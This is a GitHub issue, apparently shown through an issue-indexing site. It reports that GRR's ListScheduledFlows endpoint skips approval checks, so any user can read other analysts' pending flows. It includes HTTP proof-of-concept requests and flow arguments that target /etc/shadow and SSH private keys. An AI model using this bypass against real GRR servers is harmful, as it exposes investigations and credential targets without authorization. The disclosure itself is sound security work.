google / google/grr

ListScheduledFlows missing approval and ownership check exposes pending flow arguments cross-user

Open
#1,167 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
5.1k
Forks
796
PR merge metrics
No merged PRs in 30d

Description

https://issuetracker.google.com/issues/526047481

Affected Versions: confirmed on 4.0.0.0 (HEAD 9f8f797)

### Summary

Any authenticated GRR user can enumerate another user's pending scheduled flows on any client, including the full flow arguments (target file paths, artifact names, etc.), without holding or requesting a client approval. The endpoint `GET /api/v2/clients//scheduled-flows/` bypasses the approval-based access control that protects every other client-data endpoint.

### Details

GRR's approval model gates all client data operations behind an explicit approval workflow. The `ApiCallRouterWithApprovalChecks` router enforces this by calling `self.approval_checker.CheckClientAccess(context, args.client_id)` (or the hunt/cron equivalents) on every sensitive handler. However, `ListScheduledFlows` has no such check:

`grr/server/grr_response_server/gui/api_call_router_with_approval_checks.py`, lines 710-715:
```python
def ListScheduledFlows(
self,
args: api_flow_pb2.ApiListScheduledFlowsArgs,
context: Optional[api_call_context.ApiCallContext] = None,
) -> api_flow.ApiListScheduledFlowsHandler:
return self.delegate.ListScheduledFlows(args, context=context)
```

No `CheckClientAccess`, no ownership check on `args.creator`. Compare the sibling endpoint `ListFlows` at line 524 which requires approval before it returns:

```python
def ListFlows(self, args, context=None):
self.approval_checker.CheckClientAccess(context, args.client_id)
return self.delegate.ListFlows(args, context=context)
```

The handler `ApiListScheduledFlowsHandler` (flow.py, lines 1403-1420) passes `args.creator` directly from the URL to the database query with no validation:

```python
def Handle(self, args, context=None):
results = flow.ListScheduledFlows(
client_id=args.client_id, creator=args.creator
)
```

The URL route is `GET /api/v2/clients//scheduled-flows/` (api_call_router.py, line 1022). The `creator` field in the URL is passed directly into the DB query via `_FillProtoWithRouteArgs`, so any caller can enumerate any user's scheduled flows on any client.

The `ApiScheduledFlow` proto response (flow.proto, lines 408-419) includes `flow_name` and `flow_args` -- the full Any-packed flow arguments containing target file paths, artifact selections, and any other sensitive operational parameters the planning user submitted.

### PoC

Prerequisites: GRR server running with `ApiCallRouterWithApprovalChecks` as the default router (production configuration). Two accounts: `alice` (analyst who has scheduled a flow) and `bob` (analyst with no approval or relationship to alice's target client).

1. Alice schedules a FileFinder flow on client `C.aabbccddeeff0011` (via the UI or API):
```
POST /api/v2/clients/C.aabbccddeeff0011/scheduled-flows HTTP/1.1
Authorization: Basic YWxpY2U6...
X-CSRFToken:
Content-Type: application/json

{"clientId": "C.aabbccddeeff0011", "flow": {"name": "FileFinder", "args": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}}}
```
Response: 200 with scheduledFlowId.

2. Bob (no approval on this client) reads alice's scheduled flows:
```
GET /api/v2/clients/C.aabbccddeeff0011/scheduled-flows/alice HTTP/1.1
Authorization: Basic Ym9iOi4uLg==
```

Response (HTTP 200):
```json
{"scheduledFlows": [{"scheduledFlowId": "31A94490C9192359", "clientId": "C.aabbccddeeff0011", "creator": "alice", "flowName": "FileFinder", "flowArgs": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}, "createTime": "1781921551882868"}]}
```

For comparison, Bob's attempt to call the approval-gated sibling endpoint returns 403:
```
GET /api/v2/clients/C.aabbccddeeff0011/flows HTTP/1.1
Authorization: Basic Ym9iOi4uLg==
```
Response (HTTP 403): `{"message": "Access denied by ACL: No approval found.", "subject": "aff4:/C.aabbccddeeff0011"}`

Tested live on commit 9f8f7974 (GRR 4.0.0.0).

### Impact

Any authenticated GRR user can read the pending scheduled flows of all other analysts on any client, including the full flow arguments: target file paths (e.g., `/etc/shadow`, SSH keys), artifact collection lists, and other sensitive operational parameters. An attacker with a valid GRR account can map out which clients are under active investigation, what files are being targeted, and which artifacts are being collected -- all without ever obtaining a client approval. In GRR deployments where the scheduled-flow feature is used (it is the recommended workflow for scheduling flows pending approval), this leaks the entire investigative context of other analysts.

Contributor guide

Open the contributing guide

Research direction

Start in grr/server/grr_response_server/gui/api_call_router_with_approval_checks.py by comparing ListScheduledFlows with the approval-gated ListFlows entry point. Trace ApiListScheduledFlowsHandler in flow.py and the scheduled-flows route in api_call_router.py, then verify that unauthorized cross-user reads are denied while permitted access still works.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
api, authorization, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.